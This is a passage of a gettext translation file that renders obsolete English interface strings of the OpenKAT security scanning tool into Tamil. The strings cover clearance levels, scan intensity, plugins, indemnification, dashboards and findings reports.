\"\n#~ \"object. If the scan has an intensity level that is too high, OpenKAT will \"\n#~ \"notify you before running it. Visually clearance levels and intensity \"\n#~ \"scores are indicated with little cat paws.\"\n#~ msgstr \"\"\n#~ \"ச்கேன் செய்யும் ஒவ்வொரு சொருகி ச்கேன் தீவிர மதிப்பெண் கொண்டிருக்கும். ச்கேனின் தீவிரம் \"\n#~ \"உங்கள் பொருளுக்கு நீங்கள் நிர்ணயித்த இசைவு நிலைக்கு சமமாக அல்லது கீழே இருக்க வேண்டும். \"\n#~ \"ச்கேன் மிக அதிகமாக இருக்கும் ஒரு தீவிர நிலை இருந்தால், அதை இயக்குவதற்கு முன்பு \"\n#~ \"ஓபன்காட் உங்களுக்கு அறிவிக்கும். பார்வை இசைவு நிலைகள் மற்றும் தீவிர மதிப்பெண்கள் சிறிய \"\n#~ \"பூனை பாதங்களுடன் குறிக்கப்படுகின்றன.\"\n\n#~ msgid \"\"\n#~ \"This scan has a scan intensity score of 1, requiring a level 1 clearance \"\n#~ \"level to be run. This means that the scan does not touch the object \"\n#~ \"itself, but only searches for information about the object.\"\n#~ msgstr \"\"\n#~ \"ச்கேன் தீவிரம் மதிப்பெண் 1 ஐ இந்த ச்கேன் கொண்டுள்ளது, இது நிலை 1 இசைவு நிலை இயக்கப்பட \"\n#~ \"வேண்டும். இதன் பொருள் ச்கேன் பொருளைத் தொடாது, ஆனால் பொருளைப் பற்றிய தகவல்களை மட்டுமே \"\n#~ \"தேடுகிறது.\"\n\n#~ msgid \"\"\n#~ \"An example of a more aggressive scan. Which has a scan intensity score of \"\n#~ \"3. Meaning it requires at least a level 3 clearance level to be set on \"\n#~ \"your object.\"\n#~ msgstr \"\"\n#~ \"மிகவும் ஆக்ரோசமான ச்கேனின் எடுத்துக்காட்டு. இது ச்கேன் தீவிரம் மதிப்பெண் 3 ஐக் \"\n#~ \"கொண்டுள்ளது. இதன் பொருள் உங்கள் பொருளில் குறைந்தபட்சம் ஒரு நிலை 3 இசைவு நிலை \"\n#~ \"அமைக்கப்பட வேண்டும்.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT has a permission system that allows administrators to configure \"\n#~ \"which users can set a certain clearance level. The will make sure that \"\n#~ \"only users that are trusted can start the more aggressive scans.\"\n#~ msgstr \"\"\n#~ \"OpenKAT ஒரு இசைவு முறையைக் கொண்டுள்ளது, இது எந்தப் பயனர்கள் ஒரு குறிப்பிட்ட இசைவு \"\n#~ \"அளவை அமைக்க முடியும் என்பதை உள்ளமைக்க நிர்வாகிகளை அனுமதிக்கிறது. நம்பகமான பயனர்கள் \"\n#~ \"மட்டுமே மிகவும் ஆக்ரோசமான ச்கேன்களைத் தொடங்க முடியும் என்பதை உறுதி செய்யும்.\"\n\n#~ msgid \"Acknowledge clearance level\"\n#~ msgstr \"இசைவு அளவை ஒப்புக் கொள்ளுங்கள்\"\n\n#~ msgid \"\"\n#~ \"Before a member is granted the ability to set clearance levels on an \"\n#~ \"object, they must first acknowledge and accept the clearance level set by \"\n#~ \"the administrators. The maximum scanning level permitted for a member is \"\n#~ \"aligned with the trusted clearance level. By acknowledging the trusted \"\n#~ \"clearance level, this member formally agrees to abide by this permission \"\n#~ \"and gains the capability to perform scans only up to this trusted \"\n#~ \"clearance level. This two-step process ensures that the member operates \"\n#~ \"within authorized boundaries.\"\n#~ msgstr \"\"\n#~ \"ஒரு பொருளின் மீது இசைவு நிலைகளை நிர்ணயிக்கும் திறன் ஒரு உறுப்பினருக்கு \"\n#~ \"வழங்கப்படுவதற்கு முன்பு, அவர்கள் முதலில் நிர்வாகிகள் நிர்ணயித்த இசைவு அளவை ஒப்புக் \"\n#~ \"கொண்டு ஏற்றுக்கொள்ள வேண்டும். ஒரு உறுப்பினருக்கு அனுமதிக்கப்பட்ட அதிகபட்ச ச்கேனிங் நிலை \"\n#~ \"நம்பகமான இசைவு மட்டத்துடன் ஒத்துப்போகிறது. நம்பகமான இசைவு அளவை ஒப்புக்கொள்வதன் மூலம், \"\n#~ \"இந்த உறுப்பினர் இந்த அனுமதியைக் கடைப்பிடிக்க முறையாக ஒப்புக்கொள்கிறார், மேலும் இந்த \"\n#~ \"நம்பகமான இசைவு நிலைவரை மட்டுமே வருடு செய்யும் திறனைப் பெறுகிறார். இந்த இரண்டு-படி \"\n#~ \"செயல்முறை உறுப்பினர் அங்கீகரிக்கப்பட்ட எல்லைகளுக்குள் செயல்படுவதை உறுதி செய்கிறது.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Your administrator has <strong>trusted</strong> you with a clearance \"\n#~ \"level of <strong>L%(tcl)s</strong>. </br> You have also \"\n#~ \"<strong>acknowledged</strong> to use this clearance level of \"\n#~ \"<strong>L%(acl)s</strong>.\"\n#~ msgstr \"\"\n#~ \"உங்கள் நிர்வாகி <strong> நம்பகமான </strong> <strong> எல்%(tcl)s</strong> இன் \"\n#~ \"இசைவு அளவைக் கொண்டுள்ளது. </br> <strong> ஒப்புக் கொள்ளப்பட்ட </strong> இந்த இசைவு \"\n#~ \"அளவைப் பயன்படுத்த <strong> எல்%(acl)s </strong>.\"\n\n#~ msgid \"Setup scan - Set clearance level for\"\n#~ msgstr \"அமைவு ச்கேன் - இசைவு அளவை அமைக்கவும்\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"After creating a new object OpenKAT will ask you to set a clearance \"\n#~ \"level. On the object detail page you can always change the clearance \"\n#~ \"level. For the onboarding we will suggest to set the clearance level to \"\n#~ \"L%(dns_report_least_clearance_level)s.\"\n#~ msgstr \"\"\n#~ \"ஒரு புதிய பொருளை உருவாக்கிய பிறகு, ஓபன்காட் ஒரு இசைவு அளவை அமைக்கும்படி \"\n#~ \"கேட்கும். பொருள் விவரம் பக்கத்தில் நீங்கள் எப்போதும் இசைவு அளவை மாற்றலாம். ஆன் \"\n#~ \"போர்டிங்கிற்கு இசைவு அளவை l%(dns_report_least_clearance_level)s என அமைக்க \"\n#~ \"பரிந்துரைக்கிறோம்.\"\n\n#~ msgid \"Setup scan - Enable plugins\"\n#~ msgstr \"அமைவு ச்கேன் - செருகுநிரல்களை இயக்கவும்\"\n\n#~ msgid \"Plugins introduction\"\n#~ msgstr \"செருகுநிரல்கள் அறிமுகம்\"\n\n#~ msgid \"\"\n#~ \"OpenKAT uses plugins to scan, check and analyze. Each plugin will bring a \"\n#~ \"specific skillset that will help to generate your report. There are three \"\n#~ \"types of plugins.\"\n#~ msgstr \"\"\n#~ \"ச்கேன் செய்ய, சரிபார்க்க மற்றும் பகுப்பாய்வு செய்ய ஓபன்காட் செருகுநிரல்களைப் \"\n#~ \"பயன்படுத்துகிறது. ஒவ்வொரு சொருகி ஒரு குறிப்பிட்ட திறனைக் கொண்டுவரும், இது உங்கள் \"\n#~ \"அறிக்கையை உருவாக்க உதவும். மூன்று வகையான செருகுநிரல்கள் உள்ளன.\"\n\n#~ msgid \"Boefjes:\"\n#~ msgstr \"போஃப்செச்:\"\n\n#~ msgid \"\"\n#~ \"Scan objects for data. Each boefje has a scan intensity score to prevent \"\n#~ \"invasive scanning on objects where you don’t have the clearance to do so.\"\n#~ msgstr \"\"\n#~ \"தரவுகளுக்கான பொருள்களை ச்கேன் செய்யுங்கள். ஒவ்வொரு போஃப்சேவுக்கும் ச்கேன் தீவிரம் \"\n#~ \"மதிப்பெண் உள்ளது, அவ்வாறு செய்ய உங்களுக்கு இசைவு இல்லாத பொருள்களில் வன்கவர்வு ச்கேன் \"\n#~ \"செய்வதைத் தடுக்க.\"\n\n#~ msgid \"Normalizers:\"\n#~ msgstr \"இயல்பானவை:\"\n\n#~ msgid \"\"\n#~ \"Check the data for specific objects and add these object to your object \"\n#~ \"list.\"\n#~ msgstr \"\"\n#~ \"குறிப்பிட்ட பொருள்களுக்கான தரவைச் சரிபார்த்து, இந்த பொருளை உங்கள் பொருள் பட்டியலில் \"\n#~ \"சேர்க்கவும்.\"\n\n#~ msgid \"Bits:\"\n#~ msgstr \"பிட்கள்:\"\n\n#~ msgid \"Analyze the available data to come to insights and conclusions.\"\n#~ msgstr \"\"\n#~ \"நுண்ணறிவு மற்றும் முடிவுகளுக்கு வர கிடைக்கக்கூடிய தரவை பகுப்பாய்வு செய்யுங்கள்.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT will be able to generate a full report when all the required and \"\n#~ \"suggested plugins are enabled. If you choose not to give a plugin \"\n#~ \"permission to run, the data that plugin would collect or produce will be \"\n#~ \"left out of the report which will then be generated based on the \"\n#~ \"available data collected by the enabled plugins. Below are the suggested \"\n#~ \"and required plugins for this report.\"\n#~ msgstr \"\"\n#~ \"தேவையான மற்றும் பரிந்துரைக்கப்பட்ட செருகுநிரல்கள் அனைத்தும் இயக்கப்பட்டிருக்கும் போது \"\n#~ \"ஓபன்காட் ஒரு முழு அறிக்கையை உருவாக்க முடியும். இயக்க ஒரு சொருகி இசைவு வழங்க \"\n#~ \"வேண்டாம் என்று நீங்கள் தேர்வுசெய்தால், சொருகி சேகரிக்கும் அல்லது விளைவாக்கம் செய்யும் \"\n#~ \"தரவு அறிக்கையிலிருந்து விடப்படும், பின்னர் அது இயக்கப்பட்ட செருகுநிரல்களால் \"\n#~ \"சேகரிக்கப்பட்ட தரவுகளின் அடிப்படையில் உருவாக்கப்படும். இந்த அறிக்கைக்கு \"\n#~ \"பரிந்துரைக்கப்பட்ட மற்றும் தேவையான செருகுநிரல்கள் கீழே உள்ளன.\"\n\n#~ msgid \"Let’s setup your scan by enabling the plugins of your choice below.\"\n#~ msgstr \"\"\n#~ \"உங்களுக்கு விருப்பமான செருகுநிரல்களை கீழே செயல்படுத்துவதன் மூலம் உங்கள் ச்கேன் அமைப்போம்.\"\n\n#~ msgid \"Required and suggested plugins\"\n#~ msgstr \"தேவையான மற்றும் பரிந்துரைக்கப்பட்ட செருகுநிரல்கள்\"\n\n#~ msgid \"Enable and start scan\"\n#~ msgstr \"ச்கேன் இயக்கவும் தொடங்கவும்\"\n\n#~ msgid \"\"\n#~ \"The enabled boefjes are collecting the data needed to generate the DNS-\"\n#~ \"report. This may take some time based on the type of scans and the number \"\n#~ \"of objects found. For the current scan we expect boefjes to take about 3 \"\n#~ \"minutes.\"\n#~ msgstr \"\"\n#~ \"இயக்கப்பட்ட போஃப்செச் டிஎன்எச்-அறிக்கையை உருவாக்க தேவையான தரவை சேகரிக்கிறது. ச்கேன் \"\n#~ \"வகை மற்றும் காணப்படும் பொருட்களின் எண்ணிக்கையின் அடிப்படையில் இதற்கு சிறிது நேரம் \"\n#~ \"ஆகலாம். தற்போதைய ச்கேனுக்கு போஃப்செச் சுமார் 3 நிமிடங்கள் ஆகும் என்று எதிர்பார்க்கிறோம்.\"\n\n#~ msgid \"\"\n#~ \"During this introduction we ask you to wait till the scan is ready. After \"\n#~ \"which you can view the report.\"\n#~ msgstr \"\"\n#~ \"இந்த அறிமுகத்தின் போது ச்கேன் தயாராக இருக்கும் வரை காத்திருக்கும்படி \"\n#~ \"கேட்டுக்கொள்கிறோம். அதன் பிறகு நீங்கள் அறிக்கையைக் காணலாம்.\"\n\n#~ msgid \"\"\n#~ \"After the onboarding, boefjes run in the background. This enables you to \"\n#~ \"use OpenKAT in the meantime without waiting for scans to finish. When you \"\n#~ \"would like to see the status of a scan you can open the \\\"tasks\\\" page.\"\n#~ msgstr \"\"\n#~ \"ஆன் போர்டிங் செய்த பிறகு, போஃப்செச் பின்னணியில் இயங்குகிறார். ச்கேன் முடிக்கக் \"\n#~ \"காத்திருக்காமல் இதற்கிடையில் ஓபன்கேட்டைப் பயன்படுத்த இது உங்களுக்கு உதவுகிறது. நீங்கள் \"\n#~ \"ஒரு ச்கேன் நிலையைப் பார்க்க விரும்பினால், நீங்கள் \\\"பணிகள்\\\" பக்கத்தைத் திறக்கலாம்.\"\n\n#~ msgid \"Open my DNS-report\"\n#~ msgstr \"எனது டி.என்.எச்-அறிக்கையைத் திறக்கவும்\"\n\n#~ msgid \"1: Introduction\"\n#~ msgstr \"1: அறிமுகம்\"\n\n#~ msgid \"2: Choose a report\"\n#~ msgstr \"2: அறிக்கையைத் தேர்வுசெய்க\"\n\n#~ msgid \"3: Setup scan\"\n#~ msgstr \"3: அமைவு ச்கேன்\"\n\n#~ msgid \"4: Open report\"\n#~ msgstr \"4: திறந்த அறிக்கை\"\n\n#~ msgid \"3: Indemnification\"\n#~ msgstr \"3: இழப்பீடு\"\n\n#~ msgid \"4: Account setup\"\n#~ msgstr \"4: கணக்கு அமைவு\"\n\n#~ msgid \"OpenKAT Setup\"\n#~ msgstr \"OpenKAT அமைப்பு\"\n\n#, python-brace-format\n#~ msgid \"{name} successfully created.\"\n#~ msgstr \"{name} வெற்றிகரமாக உருவாக்கப்பட்டது.\"\n\n#~ msgid \"The name of the organisation\"\n#~ msgstr \"அமைப்பின் பெயர்\"\n\n#~ msgid \"\"\n#~ \"A slug containing only lower-case unicode letters, numbers, hyphens or \"\n#~ \"underscores that will be used in URLs and paths\"\n#~ msgstr \"\"\n#~ \"முகவரி கள் மற்றும் பாதைகளில் பயன்படுத்தப்படும் லோயர்-கேச் யூனிகோட் எழுத்துக்கள், எண்கள், \"\n#~ \"ஐபன்கள் அல்லது அடிக்கோடிட்டுக் காட்டும் ஒரு ச்லக்\"\n\n#~ msgid \"Add finding type:\"\n#~ msgstr \"கண்டுபிடிப்பு வகையைச் சேர்க்கவும்:\"\n\n#~ msgid \"Add finding:\"\n#~ msgstr \"கண்டுபிடிப்பைச் சேர்க்கவும்:\"\n\n#~ msgid \"\"\n#~ \"Here, an indemnification can be given on behalf of your organization:\"\n#~ msgstr \"இங்கே, உங்கள் நிறுவனத்தின் சார்பாக ஒரு இழப்பீடு வழங்கப்படலாம்:\"\n\n#~ msgid \"\"\n#~ \"Before you're able to add assets to OpenKAT and to assign clearance \"\n#~ \"levels, you have to give indemnification on the organization and declare \"\n#~ \"that you as a person can be held accountable.\"\n#~ msgstr \"\"\n#~ \"நீங்கள் OpenKat இல் சொத்துக்களைச் சேர்க்கவும், இசைவு நிலைகளை ஒதுக்கவும் முன், நீங்கள் \"\n#~ \"நிறுவனத்தின் மீது இழப்பீடு வழங்க வேண்டும், மேலும் ஒரு நபராக நீங்கள் பொறுப்புக்கூற \"\n#~ \"முடியும் என்று அறிவிக்க வேண்டும்.\"\n\n#~ msgid \"Register an indemnification\"\n#~ msgstr \"இழப்பீடு பதிவு செய்யுங்கள்\"\n\n#~ msgid \"Add Finding\"\n#~ msgstr \"கண்டுபிடிப்பைச் சேர்\"\n\n#~ msgid \"\"\n#~ \"There are no dashboard items added yet. You can add dashboard items via \"\n#~ \"the filters on the objects and findings page.\"\n#~ msgstr \"\"\n#~ \"டாச்போர்டு உருப்படிகள் இதுவரை சேர்க்கப்படவில்லை. பொருள்கள் மற்றும் கண்டுபிடிப்புகள் \"\n#~ \"பக்கத்தில் உள்ள வடிப்பான்கள் வழியாக டாச்போர்டு உருப்படிகளை நீங்கள் சேர்க்கலாம்.\"\n\n#~ msgid \"\"\n#~ \"Dashboard does not exist. Choose an existing dashboard or create a new \"\n#~ \"one.\"\n#~ msgstr \"\"\n#~ \"டாச்போர்டு இல்லை. ஏற்கனவே உள்ள டாச்போர்டைத் தேர்வுசெய்க அல்லது புதிய ஒன்றை உருவாக்கவும்.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"            Add %(item_type)s to dashboard\\n\"\n#~ \"        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"            டாச்போர்டில் %(item_type)s சேர்க்கவும்\\n\"\n#~ \"        \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"        Add these %(item_type)s with the selected filters\\n\"\n#~ \"        to the dashboard of your choice.\\n\"\n#~ \"    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"        தேர்ந்தெடுக்கப்பட்ட வடிப்பான்களுடன் இந்த %(item_type)s சேர்க்கவும் \\n\"\n#~ \"உங்களுக்கு விருப்பமான டாச்போர்டுக்கு.\\n\"\n#~ \"    \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                                This chapter contains information about \"\n#~ \"the findings that have been identified\\n\"\n#~ \"                                for this organization.\\n\"\n#~ \"                            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                                இந்த அத்தியாயத்தில் அடையாளம் காணப்பட்ட \"\n#~ \"கண்டுபிடிப்புகள் பற்றிய தகவல்கள் உள்ளன \\n\"\n#~ \"இந்த அமைப்புக்கு.\\n\"\n#~ \"                            \"\n\n#~ msgid \"Observed at:\"\n#~ msgstr \"இங்கு அனுசரிக்கப்பட்டது:\"\n\n#~ msgid \"Created by:\"\n#~ msgstr \"உருவாக்கியவர்:\"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                                                This table shows the top \"\n#~ \"25 critical and high findings that have\\n\"\n#~ \"                                                been identified for this \"\n#~ \"organization, grouped by finding types.\\n\"\n#~ \"                                                A table with all the \"\n#~ \"identified findings can be found in the Findings Report.\\n\"\n#~ \"                                            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                                                இந்த அட்டவணை முதல் 25 \"\n#~ \"முக்கியமான மற்றும் உயர் கண்டுபிடிப்புகளைக் காட்டுகிறது \\n\"\n#~ \"இந்த அமைப்புக்காக அடையாளம் காணப்பட்டது, வகைகளைக் கண்டுபிடிப்பதன் மூலம் \"\n#~ \"தொகுக்கப்பட்டுள்ளது. \\n\"\n#~ \"அடையாளம் காணப்பட்ட அனைத்து கண்டுபிடிப்புகளையும் கொண்ட ஒரு அட்டவணையை கண்டுபிடிப்புகள் \"\n#~ \"அறிக்கையில் காணலாம்.\\n\"\n#~ \"                                            \"\n\n#~ msgid \"\"\n#~ \"The secure connections report provides an overview of the performed \"\n#~ \"checks with regard to encrypted communication channels such as HTTPS. The \"\n#~ \"table below gives an overview of the available checks including whether \"\n#~ \"the system passed the performed checks. The risk level and reasoning as \"\n#~ \"to why an issue was identified are shown too. The risk level may be \"\n#~ \"different for your specific environment.\"\n#~ msgstr \"\"\n#~ \"பாதுகாப்பான இணைப்புகள் அறிக்கை HTTPS போன்ற மறைகுறியாக்கப்பட்ட தகவல்தொடர்பு சேனல்கள் \"\n#~ \"தொடர்பாக நிகழ்த்தப்பட்ட காசோலைகளின் கண்ணோட்டத்தை வழங்குகிறது. கணினி நிகழ்த்தப்பட்ட \"\n#~ \"காசோலைகளை கடந்து சென்றதா என்பது உட்பட கிடைக்கக்கூடிய காசோலைகளின் கண்ணோட்டத்தை \"\n#~ \"கீழேயுள்ள அட்டவணை வழங்குகிறது. ஒரு சிக்கல் ஏன் அடையாளம் காணப்பட்டது என்பதற்கான இடர் \"\n#~ \"நிலை மற்றும் பகுத்தறிவு கூட காட்டப்பட்டுள்ளது. உங்கள் குறிப்பிட்ட சூழலுக்கு இடர் நிலை \"\n#~ \"வேறுபட்டிருக்கலாம்.\"\n\n#~ msgid \"\"\n#~ \"To generate a report you can start by selecting report types or by \"\n#~ \"selecting objects.\"\n#~ msgstr \"\"\n#~ \"ஒரு அறிக்கையை உருவாக்க நீங்கள் அறிக்கை வகைகளைத் தேர்ந்தெடுப்பதன் மூலமாகவோ அல்லது \"\n#~ \"பொருள்களைத் தேர்ந்தெடுப்பதன் மூலமாகவோ தொடங்கலாம்.\"\n\n#~ msgid \"Report Navigation\"\n#~ msgstr \"வழிசெலுத்தலைப் புகாரளிக்கவும்\"\n\n#~ msgid \"Aggregate Report\"\n#~ msgstr \"மொத்த அறிக்கை\"\n\n#~ msgid \"Multi Report\"\n#~ msgstr \"பல அறிக்கை\"\n\n#~ msgid \"Unmute Findings\"\n#~ msgstr \"ஊடுருவல் கண்டுபிடிப்புகள்\"\n\n#~ msgid \"Mute Findings\"\n#~ msgstr \"முடக்கு கண்டுபிடிப்புகள்\"\n\n#~ msgid \"Mute Finding\"\n#~ msgstr \"முடக்கு கண்டுபிடிப்பு\"\n\n#~ msgid \"Account Type\"\n#~ msgstr \"கணக்கு வகை\"\n\n#~ msgid \"Every member of OpenKAT must be part of an account type.\"\n#~ msgstr \"\"\n#~ \"OpenKAT இன் ஒவ்வொரு உறுப்பினரும் கணக்கு வகையின் ஒரு பகுதியாக இருக்க வேண்டும்.\"\n\n#~ msgid \"Source OOI\"\n#~ msgstr \"Sororce oi\"\n\n#~ msgid \"Manual creation\"\n#~ msgstr \"கையேடு உருவாக்கம்\"\n\n#~ msgid \" member account setup\"\n#~ msgstr \" உறுப்பினர் கணக்கு அமைப்பு\"\n\n#~ msgid \"Member details\"\n#~ msgstr \"உறுப்பினர் விவரங்கள்\"\n\n#~ msgid \"Member account type setup\"\n#~ msgstr \"உறுப்பினர் கணக்கு வகை அமைப்பு\"\n\n#~ msgid \"Choose an account type for this new member.\"\n#~ msgstr \"இந்த புதிய உறுப்பினருக்கான கணக்கு வகையைத் தேர்வுசெய்க.\"\n\n#~ msgid \"Account type details\"\n#~ msgstr \"கணக்கு வகை விவரங்கள்\"\n\n#~ msgid \"Upload a csv file with members for organisation\"\n#~ msgstr \"நிறுவனத்திற்கான உறுப்பினர்களுடன் காபிம கோப்பை பதிவேற்றவும்\"\n\n#~ msgid \"Download the template\"\n#~ msgstr \"வார்ப்புருவைப் பதிவிறக்கவும்\"\n\n#~ msgid \"or create a csv file with the following criteria\"\n#~ msgstr \"அல்லது பின்வரும் அளவுகோல்களுடன் ஒரு காபிம கோப்பை உருவாக்கவும்\"\n\n#~ msgid \"Shown status types\"\n#~ msgstr \"நிலை வகைகள் காட்டப்பட்டுள்ளன\"\n\n#~ msgid \"Blocked status\"\n#~ msgstr \"தடுக்கப்பட்ட நிலை\"\n\n#~ msgid \"Type select\"\n#~ msgstr \"தேர்ந்தெடு தட்டச்சு செய்க\"\n\n#~ msgid \"Add Account Type\"\n#~ msgstr \"கணக்கு வகையைச் சேர்க்கவும்\"\n\n#~ msgid \"Add Member\"\n#~ msgstr \"உறுப்பினரைச் சேர்க்கவும்\"\n\n#~ msgid \"\"\n#~ \"Where on the dashboard do you want to show the data? Position 1 is the \"\n#~ \"most top level and the max position is 16.\"\n#~ msgstr \"\"\n#~ \"டாச்போர்டில் நீங்கள் தரவைக் காட்ட விரும்புகிறீர்கள்? நிலை 1 மிக உயர்ந்த நிலை மற்றும் \"\n#~ \"அதிகபட்ச நிலை 16 ஆகும்.\"\n\n#~ msgid \"Crisis Room overview for all organizations\"\n#~ msgstr \"அனைத்து அமைப்புகளுக்கும் நெருக்கடி அறை கண்ணோட்டம்\"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                No findings have been identified yet. As soon as they \"\n#~ \"have been\\n\"\n#~ \"                identified, they will be shown on this page.\\n\"\n#~ \"            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                கண்டுபிடிப்புகள் இதுவரை அடையாளம் காணப்படவில்லை. அவர்கள் \"\n#~ \"இருந்தவுடன் \\n\"\n#~ \"அடையாளம் காணப்பட்ட, அவை இந்த பக்கத்தில் காண்பிக்கப்படும்.\\n\"\n#~ \"            \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"            There are no organizations yet. After creating an \"\n#~ \"organization,\\n\"\n#~ \"            the identified findings will be shown here.\\n\"\n#~ \"        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"            இதுவரை எந்த அமைப்புகளும் இல்லை. ஒரு அமைப்பை உருவாக்கிய பிறகு, \\n\"\n#~ \"அடையாளம் காணப்பட்ட கண்டுபிடிப்புகள் இங்கே காண்பிக்கப்படும்.\\n\"\n#~ \"        \"\n\n#~ msgid \"Crisis Room Navigation\"\n#~ msgstr \"நெருக்கடி அறை வழிசெலுத்தல்\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"<strong>Warning:</strong> Indemnification is not set for this \"\n#~ \"organization. Go to the <a \"\n#~ \"href=\\\"%(organization_settings)s\\\">organization settings page</a> to add \"\n#~ \"one.\"\n#~ msgstr \"\"\n#~ \"<strong> எச்சரிக்கை: </strong> இந்த அமைப்புக்கு இழப்பீடு அமைக்கப்படவில்லை. ஒன்றைச் \"\n#~ \"சேர்க்க <a href=\\\"%(organization_settings)s\\\"> அமைப்பு அமைப்புகள் பக்கத்திற்குச்</\"\n#~ \"a> செல்லவும்.\"\n\n#~ msgid \"\"\n#~ \"An overview of the top 10 most severe findings OpenKAT found. Check the \"\n#~ \"detail section for additional severity information.\"\n#~ msgstr \"\"\n#~ \"ஓபன்காட் கண்டுபிடிக்கப்பட்ட முதல் 10 மிக கடுமையான கண்டுபிடிப்புகள் பற்றிய கண்ணோட்டம். \"\n#~ \"கூடுதல் தீவிரத்தன்மை தகவலுக்கு விவரம் பகுதியைச் சரிபார்க்கவும்.\"\n\n#~ msgid \"Top 10 most severe Findings\"\n#~ msgstr \"முதல் 10 மிகவும் கடுமையான கண்டுபிடிப்புகள்\"\n\n#~ msgid \"Showing \"\n#~ msgstr \"காண்பிக்க \"\n\n#~ msgid \"findings\"\n#~ msgstr \"கண்டுபிடிப்புகள்\"\n\n#~ msgid \"Findings table\"\n#~ msgstr \"கண்டுபிடிப்புகள் அட்டவணை\"\n\n#~ msgid \"Finding type:\"\n#~ msgstr \"வகை கண்டுபிடிப்பு:\"\n\n#~ msgid \"OOI type:\"\n#~ msgstr \"OOI வகை:\"\n\n#~ msgid \"Source OOI:\"\n#~ msgstr \"மூல ooi:\"\n\n#~ msgid \"Download report\"\n#~ msgstr \"அறிக்கையைப் பதிவிறக்கவும்\"\n\n#~ msgid \"Schedule {}\"\n#~ msgstr \"அட்டவணை {}\"\n\n#~ msgid \"KAT-alogus Settings\"\n#~ msgstr \"கேட்-அலோகச் அமைப்புகள்\"\n\n#~ msgid \"\"\n#~ \"There are currently no settings defined. Add settings at plugin detail \"\n#~ \"page.\"\n#~ msgstr \"\"\n#~ \"தற்போது அமைப்புகள் வரையறுக்கப்படவில்லை. சொருகி விவரம் பக்கத்தில் அமைப்புகளைச் \"\n#~ \"சேர்க்கவும்.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"These are the findings of a OpenKAT-analysis (%(observed_at)s). Click a \"\n#~ \"finding for more detailed information about the issue, its origin, \"\n#~ \"severity and possible solutions.\"\n#~ msgstr \"\"\n#~ \"இவை ஒரு OpenKat- பகுப்பாய்வு (%(observed_at)s) கண்டுபிடிப்புகள். சிக்கல், அதன் \"\n#~ \"தோற்றம், தீவிரம் மற்றும் சாத்தியமான தீர்வுகள் பற்றிய விரிவான தகவல்களுக்கு ஒரு \"\n#~ \"கண்டுபிடிப்பைக் சொடுக்கு செய்க.\"\n\n#~ msgid \"DNS Tree\"\n#~ msgstr \"டி.என்.எச் மரம்\"\n\n#~ msgid \"Overview of reports\"\n#~ msgstr \"அறிக்கைகளின் கண்ணோட்டம்\"\n\n#~ msgid \"Total findings:\"\n#~ msgstr \"மொத்த கண்டுபிடிப்புகள்:\"\n\n#~ msgid \"Organization:\"\n#~ msgstr \"அமைப்பு:\"\n\n#~ msgid \"An overview of\"\n#~ msgstr \"ஒரு கண்ணோட்டம்\"\n\n#~ msgid \"object type\"\n#~ msgstr \"பொருள் வகை\"\n\n#~ msgid \"\"\n#~ \"This shows general information and its related objects. It also gives the \"\n#~ \"possibility to add additional related objects, or to scan for them.\"\n#~ msgstr \"\"\n#~ \"இது பொதுவான தகவல்களையும் அதனுடன் தொடர்புடைய பொருள்களையும் காட்டுகிறது. இது \"\n#~ \"கூடுதல் தொடர்புடைய பொருள்களைச் சேர்ப்பதற்கான வாய்ப்பையும் வழங்குகிறது, அல்லது \"\n#~ \"அவற்றுக்காக ச்கேன் செய்யவும்.\"\n\n#~ msgid \"See:\"\n#~ msgstr \"காண்க:\"\n\n#~ msgid \"Unique\"\n#~ msgstr \"தனித்துவமானது\"\n\n#~ msgid \"There are no tasks for boefjes\"\n#~ msgstr \"போஃப்செசுக்கு பணிகள் எதுவும் இல்லை\"\n\n#~ msgid \"List of tasks for boefjes\"\n#~ msgstr \"போஃப்செசுக்கான பணிகளின் பட்டியல்\"\n\n#~ msgid \"There are no tasks for normalizers\"\n#~ msgstr \"இயல்பான மருந்துகளுக்கு பணிகள் எதுவும் இல்லை\"\n\n#~ msgid \"List of tasks for normalizers\"\n#~ msgstr \"இயல்பான மருந்துகளுக்கான பணிகளின் பட்டியல்\"\n\n#~ msgid \"There have been no tasks\"\n#~ msgstr \"எந்தப் பணிகளும் இல்லை\"\n\n#~ msgid \"Your password must contain at least the following:\"\n#~ msgstr \"உங்கள் கடவுச்சொல்லில் குறைந்தபட்சம் பின்வருவனவற்றைக் கொண்டிருக்க வேண்டும்:\"\n\n#~ msgid \" special characters such as: \"\n#~ msgstr \" போன்ற சிறப்பு எழுத்துக்கள்: \"\n\n#~ msgid \"\"\n#~ \"Failed to get list of findings for organization {}, check server logs for \"\n#~ \"more details.\"\n#~ msgstr \"\"\n#~ \"நிறுவனத்திற்கான கண்டுபிடிப்புகளின் பட்டியலைப் பெறுவதில் தோல்வி {}, மேலும் \"\n#~ \"விவரங்களுக்கு சேவையக பதிவுகளை சரிபார்க்கவும்.\"\n\n#~ msgid \"You don't have permission to enable\"\n#~ msgstr \"இயக்க உங்களுக்கு இசைவு இல்லை\"\n\n#~ msgid \"\"\n#~ \"Multiple hostnames that resolve to one IP address where at least one of \"\n#~ \"the hostnames or the IP address has a declared scan level that is at \"\n#~ \"least L1. Type systemen zijn webservers, mailservers, en nameservers \"\n#~ \"(DNS).\"\n#~ msgstr \"\"\n#~ \"ஒரு ஐபி முகவரியைத் தீர்க்கும் பல ஓச்ட்பெயர்கள், அங்கு ஓச்ட்பெயர்கள் அல்லது ஐபி முகவரியில் \"\n#~ \"குறைந்தபட்சம் ஒன்று அறிவிக்கப்பட்ட 